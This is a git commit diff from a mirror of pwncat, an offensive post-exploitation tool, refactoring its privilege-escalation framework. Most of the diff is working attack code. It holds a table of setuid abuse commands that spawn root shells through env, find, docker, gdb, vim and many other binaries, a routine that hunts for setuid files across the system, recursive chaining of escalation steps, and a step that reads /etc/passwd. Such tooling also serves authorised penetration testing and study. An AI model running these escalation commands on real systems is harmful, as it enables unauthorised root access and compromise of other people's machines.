1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-30 20:34:15 +01:00

Semi-working privesc framework

This commit is contained in:
Caleb Stewart 2020-05-08 21:49:51 -04:00
parent e5867df0a0
commit 2d8c101712
3 changed files with 151 additions and 119 deletions

View File

@ -23,7 +23,7 @@ class Finder:
for m in [SetuidMethod, SuMethod]: for m in [SetuidMethod, SuMethod]:
try: try:
m.check(self.pty) m.check(self.pty)
self.methods.append(m()) self.methods.append(m(self.pty))
except PrivescError: except PrivescError:
pass pass
@ -40,7 +40,7 @@ class Finder:
current_user = self.pty.current_user current_user = self.pty.current_user
if ( if (
target_user == current_user["name"] target_user == current_user["name"]
or current_user["id"] == 0 or current_user["uid"] == 0
or current_user["name"] == "root" or current_user["name"] == "root"
): ):
raise PrivescError(f"you are already {current_user['name']}") raise PrivescError(f"you are already {current_user['name']}")
@ -48,7 +48,7 @@ class Finder:
if starting_user is None: if starting_user is None:
starting_user = current_user starting_user = current_user
if len(chain) > depth: if depth is not None and len(chain) > depth:
raise PrivescError("max depth reached") raise PrivescError("max depth reached")
# Enumerate escalation options for this user # Enumerate escalation options for this user
@ -60,8 +60,8 @@ class Finder:
for tech in techniques: for tech in techniques:
if tech.user == target_user: if tech.user == target_user:
try: try:
tech.method.execute(tech) exit_command = tech.method.execute(tech)
chain.append(tech) chain.append((tech, exit_command))
return chain return chain
except PrivescError: except PrivescError:
pass pass
@ -72,14 +72,15 @@ class Finder:
if tech.user == target_user: if tech.user == target_user:
continue continue
try: try:
tech.method.execute(tech) exit_command = tech.method.execute(tech)
chain.append(tech) chain.append((tech, exit_command))
except PrivescError: except PrivescError:
continue continue
try: try:
return self.escalate(target_user, depth, chain, starting_user) return self.escalate(target_user, depth, chain, starting_user)
except PrivescError: except PrivescError:
self.pty.run("exit", wait=False) tech, exit_command = chain[-1]
self.pty.run(exit_command, wait=False)
chain.pop() chain.pop()
raise PrivescError(f"no route to {target_user} found") raise PrivescError(f"no route to {target_user} found")

View File

@ -11,49 +11,56 @@ from pwncat.privesc.base import Method, PrivescError, Technique
# https://gtfobins.github.io/#+suid # https://gtfobins.github.io/#+suid
known_setuid_privescs = { known_setuid_privescs = {
"env": ["{} /bin/bash -p"], "env": ("{} /bin/bash -p", "exit"),
"bash": ["{} -p"], "bash": ("{} -p", "exit"),
"chmod": ["{} +s /bin/bash", "/bin/bash -p"], "chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"),
"chroot": ["{} / /bin/bash -p"], "chroot": ("{} / /bin/bash -p", "exit"),
"dash": ["{} -p"], "dash": ("{} -p", "exit"),
"ash": ["{}"], "ash": ("{}", "exit"),
"docker": ["{} run -v /:/mnt --rm -it alpine chroot /mnt sh"], "docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"),
"emacs": ["""{} -Q -nw --eval '(term "/bin/sh -p")'"""], "emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"),
"find": ["{} . -exec /bin/sh -p \\; -quit"], "find": ("{} . -exec /bin/sh -p \\; -quit", "exit"),
"flock": ["{} -u / /bin/sh -p"], "flock": ("{} -u / /bin/sh -p", "exit"),
"gdb": [ "gdb": (
"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""" """{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""",
], "exit",
"logsave": ["{} /dev/null /bin/bash -i -p"], ),
"make": ["COMMAND='/bin/sh -p'", """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",], "logsave": ("{} /dev/null /bin/bash -i -p", "exit"),
"nice": ["{} /bin/bash -p"], "make": (
"node": [ "COMMAND='/bin/sh -p'",
"""{} -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'""" """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",
], "exit",
"nohup": ["""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""""], ),
"perl": ["""{} -e 'exec "/bin/sh";'"""], "nice": ("{} /bin/bash -p", "exit"),
"php": ["""{} -r \"pcntl_exec('/bin/sh', ['-p']);\""""], "node": (
"python": ["""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'"""], """{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""",
"rlwrap": ["{} -H /dev/null /bin/sh -p"], "exit",
"rpm": ["""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'"""], ),
"rpmquery": ["""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'"""], "nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"),
"rsync": ["""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null"""], "perl": ("""{} -e 'exec "/bin/sh";'""", "exit"),
"run-parts": ["""{} --new-session --regex '^sh$' /bin --arg='-p'"""], "php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"),
"rvim": [ "python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"),
"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""" "rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"),
], "rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"),
"setarch": ["""{} $(arch) /bin/sh -p"""], "rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"),
"start-stop-daemon": ["""{} -n $RANDOM -S -x /bin/sh -- -p"""], "rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"),
"strace": ["""{} -o /dev/null /bin/sh -p"""], "run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"),
"tclsh": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit"""], "rvim": (
"tclsh8.6": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""",], """{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""",
"taskset": ["""{} 1 /bin/sh -p"""], "exit",
"time": ["""{} /bin/sh -p"""], ),
"timeout": ["""{} 7d /bin/sh -p"""], "setarch": ("""{} $(arch) /bin/sh -p""", "exit"),
"unshare": ["""{} -r /bin/sh"""], "start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"),
"vim": ["""{} -c ':!/bin/sh' -c ':q'"""], "strace": ("""{} -o /dev/null /bin/sh -p""", "exit"),
"watch": ["""{} -x sh -c 'reset; exec sh 1>&0 2>&0'"""], "tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
"zsh": ["""{}"""], "tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
"taskset": ("""{} 1 /bin/sh -p""", "exit"),
"time": ("""{} /bin/sh -p""", "exit"),
"timeout": ("""{} 7d /bin/sh -p""", "exit"),
"unshare": ("""{} -r /bin/sh""", "exit"),
"vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"),
"watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"),
"zsh": ("""{}""", "exit"),
# need to add in cp trick to overwrite /etc/passwd # need to add in cp trick to overwrite /etc/passwd
# need to add in curl trick to overwrite /etc/passwd # need to add in curl trick to overwrite /etc/passwd
# need to add in wget trick to overwrite /etc/passwd # need to add in wget trick to overwrite /etc/passwd
@ -73,62 +80,82 @@ known_setuid_privescs = {
class SetuidMethod(Method): class SetuidMethod(Method):
name = "setuid" name = "setuid"
BINARIES = ["find"] BINARIES = ["find", "stat"]
def __init__(self, pty: "pwncat.pty.PtyHandler"):
super(SetuidMethod, self).__init__(pty)
self.suid_paths = None
def find_suid(self):
# Spawn a find command to locate the setuid binaries
delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
files = []
self.suid_paths = {}
while True:
path = self.pty.recvuntil(b"\n").strip()
progress("searching for setuid binaries")
if delim in path:
break
files.append(path.decode("utf-8"))
for path in files:
user = (
self.pty.run(f"stat -c '%U' {shlex.quote(path)}")
.strip()
.decode("utf-8")
)
if user not in self.suid_paths:
self.suid_paths[user] = []
self.suid_paths[user].append(path)
def enumerate(self) -> List[Technique]: def enumerate(self) -> List[Technique]:
""" Find all techniques known at this time """ """ Find all techniques known at this time """
def execute(self): if self.suid_paths is None:
""" Look for setuid binaries and attempt to run""" self.find_suid()
find = self.pty.which("find") for user, paths in self.suid_paths.items():
for path in paths:
for name, cmd in known_setuid_privescs.items():
if os.path.basename(path) == name:
yield Technique(user, self, (path, name, cmd))
setuid_output = [] def execute(self, technique: Technique):
delim = self.pty.process(f"find / -user root -perm -4000 -print 2>/dev/null") """ Run the specified technique """
while True: path, name, commands = technique.ident
line = self.pty.recvuntil(b"\n").strip()
progress("searching for setuid binaries")
if delim in line: info(
break f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}",
setuid_output.append(line) )
for suid in setuid_output: before_shell_level = self.pty.run("echo $SHLVL").strip()
suid = suid.decode("utf-8") before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
for privesc, commands in known_setuid_privescs.items():
if os.path.basename(suid) != privesc:
continue
info( # for each_command in commands:
f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{suid}{Fore.RESET}{Style.RESET_ALL}", # self.pty.run(each_command.format(path), wait=False)
)
before_shell_level = self.pty.run("echo $SHLVL").strip() # Run the start commands
before_shell_level = ( self.pty.run(commands[0].format(path) + "\n")
int(before_shell_level) if before_shell_level != b"" else 0
)
for each_command in commands: # sleep(0.1)
self.pty.run(each_command.format(suid), wait=False) user = self.pty.run("whoami").strip().decode("utf-8")
if user == technique.user:
success("privesc succeeded")
return commands[1]
else:
error(f"privesc failed (still {user} looking for {technique.user})")
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run(commands[1], wait=False) # here be dragons
sleep(0.1) raise PrivescError(f"escalation failed for {technique}")
user = self.pty.run("whoami").strip()
if user == b"root":
success("privesc succeeded")
return True
else:
error("privesc failed")
after_shell_level = self.pty.run("echo $SHLVL").strip()
after_shell_level = (
int(after_shell_level) if after_shell_level != b"" else 0
)
if after_shell_level > before_shell_level:
info("exiting spawned inner shell")
self.pty.run("exit", wait=False) # here be dragons
continue
error("no known setuid privescs found")
return False

View File

@ -210,7 +210,7 @@ class PtyHandler:
# We should always get a response within 3 seconds... # We should always get a response within 3 seconds...
self.client.settimeout(1) self.client.settimeout(1)
util.info("probing for prompt...", overlay=False) util.info("probing for prompt...", overlay=True)
start = time.time() start = time.time()
prompt = b"" prompt = b""
try: try:
@ -222,13 +222,13 @@ class PtyHandler:
# We assume if we got data before sending data, there is a prompt # We assume if we got data before sending data, there is a prompt
if prompt != b"": if prompt != b"":
self.has_prompt = True self.has_prompt = True
util.info(f"found a prompt", overlay=False) util.info(f"found a prompt", overlay=True)
else: else:
self.has_prompt = False self.has_prompt = False
util.info("no prompt observed", overlay=False) util.info("no prompt observed", overlay=True)
# Send commands without a new line, and see if the characters are echoed # Send commands without a new line, and see if the characters are echoed
util.info("checking for echoing", overlay=False) util.info("checking for echoing", overlay=True)
test_cmd = b"echo" test_cmd = b"echo"
self.client.send(test_cmd) self.client.send(test_cmd)
response = b"" response = b""
@ -241,10 +241,10 @@ class PtyHandler:
if response == test_cmd: if response == test_cmd:
self.has_echo = True self.has_echo = True
util.info("found input echo", overlay=False) util.info("found input echo", overlay=True)
else: else:
self.has_echo = False self.has_echo = False
util.info(f"no echo observed", overlay=False) util.info(f"no echo observed", overlay=True)
self.client.send(b"\n") self.client.send(b"\n")
response = self.client.recv(1) response = self.client.recv(1)
@ -324,6 +324,8 @@ class PtyHandler:
util.info("synchronizing terminal state", overlay=True) util.info("synchronizing terminal state", overlay=True)
self.do_sync([]) self.do_sync([])
self.privesc = privesc.Finder(self)
# Force the local TTY to enter raw mode # Force the local TTY to enter raw mode
self.enter_raw() self.enter_raw()
@ -495,11 +497,18 @@ class PtyHandler:
parser = argparse.ArgumentParser(prog="privesc") parser = argparse.ArgumentParser(prog="privesc")
parser.add_argument( parser.add_argument(
"--method", "--user",
"-m", "-u",
choices=privesc.get_names(), choices=[user for user in self.users],
default="root",
help="the target user",
)
parser.add_argument(
"--depth",
"-d",
type=int,
default=None, default=None,
help="set the privesc method (default: auto)", help="Maximum depth for the privesc search (default: no maximum)",
) )
try: try:
@ -509,17 +518,9 @@ class PtyHandler:
return return
try: try:
# Locate an appropriate privesc class self.privesc.escalate(args.user, args.depth)
PrivescClass = privesc.find(self, args.method)
except privesc.PrivescError as exc: except privesc.PrivescError as exc:
util.error(f"{exc}") util.error(f"escalation failed: {exc}")
return
privesc_object = PrivescClass(self)
succeeded = privesc_object.execute()
if succeeded:
self.do_back([])
@with_parser @with_parser
def do_download(self, args): def do_download(self, args):
@ -864,9 +865,12 @@ class PtyHandler:
self.known_users = {} self.known_users = {}
passwd = self.run("cat /etc/passwd") passwd = self.run("cat /etc/passwd").decode("utf-8")
for line in passwd.split("\n"): for line in passwd.split("\n"):
line = line.split(":") line = line.strip()
if line == "":
continue
line = line.strip().split(":")
user_data = { user_data = {
"name": line[0], "name": line[0],
"password": None, "password": None,